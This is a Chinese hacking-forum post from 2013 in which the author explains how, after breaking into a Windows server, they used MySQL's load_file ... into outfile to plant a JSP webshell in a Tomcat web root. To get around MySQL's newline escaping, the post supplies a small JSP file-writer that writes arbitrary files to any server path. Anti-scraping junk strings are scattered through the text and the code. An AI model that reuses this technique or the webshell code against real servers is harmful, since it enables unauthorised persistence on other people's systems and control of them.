找回密码
 立即注册
查看: 3190|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。+ {4 H/ `6 e0 [/ ^# F( `. {1 U! r
5 o- l: h) n1 Q! z1 }1 ]# G
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
/ @& Q" a2 u. u1 y2 r' X7 a安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
8 b" c7 M7 K8 |+ V1 y提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
  p/ O! k9 F/ p* V- v7 J3 v, J% N" G  d: f1 show variables like '%plugin%';: S% A& P' K, H1 B" B
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
& `. `7 |4 u. }- I, J创建自定义函数似乎被拦截,一直失败。
" C9 ]) M( T# n" f- N# E8 D/ O后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
5 I! R& t& V9 w# R测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp3 K! P3 {5 E5 s; N! i' {" M2 `
用mysql执行语句:% G2 C; \8 p+ H; @
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'' `9 e' k3 s: z
2 复制代码
+ I3 O) K2 d7 h4 s后成功。
/ l8 ^& f9 _; _% W但是访问后得到如下提示:
3 L9 K3 O5 |& J" _​500页面- L0 B1 ^3 }# X# M; L
# T" z, b6 Z+ c# @# I+ ?* `6 M/ J3 S

9 `2 E1 X  ^: m, a明显是MySQL的Win下版本自动添加转义符\n\r了2 s# M' R, h) K
这样导致程序运行的悲剧。2 a0 }  a6 d8 a+ e4 [& l* q+ k8 ^) a
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
% c% _1 Z+ O. w6 G, N最后弄了这么个小脚本:; N8 M# N# y. p
01 <%@ page language="java" pageEncoding="gbk"%>3 _+ P" \; k0 I- g6 \
02 <jsp:directive.page import="java.io.File"/># V2 n% t9 j0 R: ?. y% t: P
03 <jsp:directive.page import="java.io.OutputStream"/>
5 ^8 P% E' E) {* j0 q2 p04 <jsp:directive.page import="java.io.FileOutputStream"/>, c% a& Q3 M( F. i1 u! |0 m
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>+ F% i/ z: t* g
06 error www.2cto.com: o/ N! h9 @7 [& Q" D1 K& s  v
07 <%}}if(i==0){%>
5 M" ^3 u, I( c2 v3 F! T4 h08 ok9 X6 C/ Z6 a  w6 l
09 <%}%>
' }6 b# O9 o- u- Q: ?2 w5 [10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
4 t" z9 r& k: h8 B* A- r4 L2 T( v/ k就可以避免转义符让JSP的马儿运行500错误了。0 K' s) ^0 r7 }* C7 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表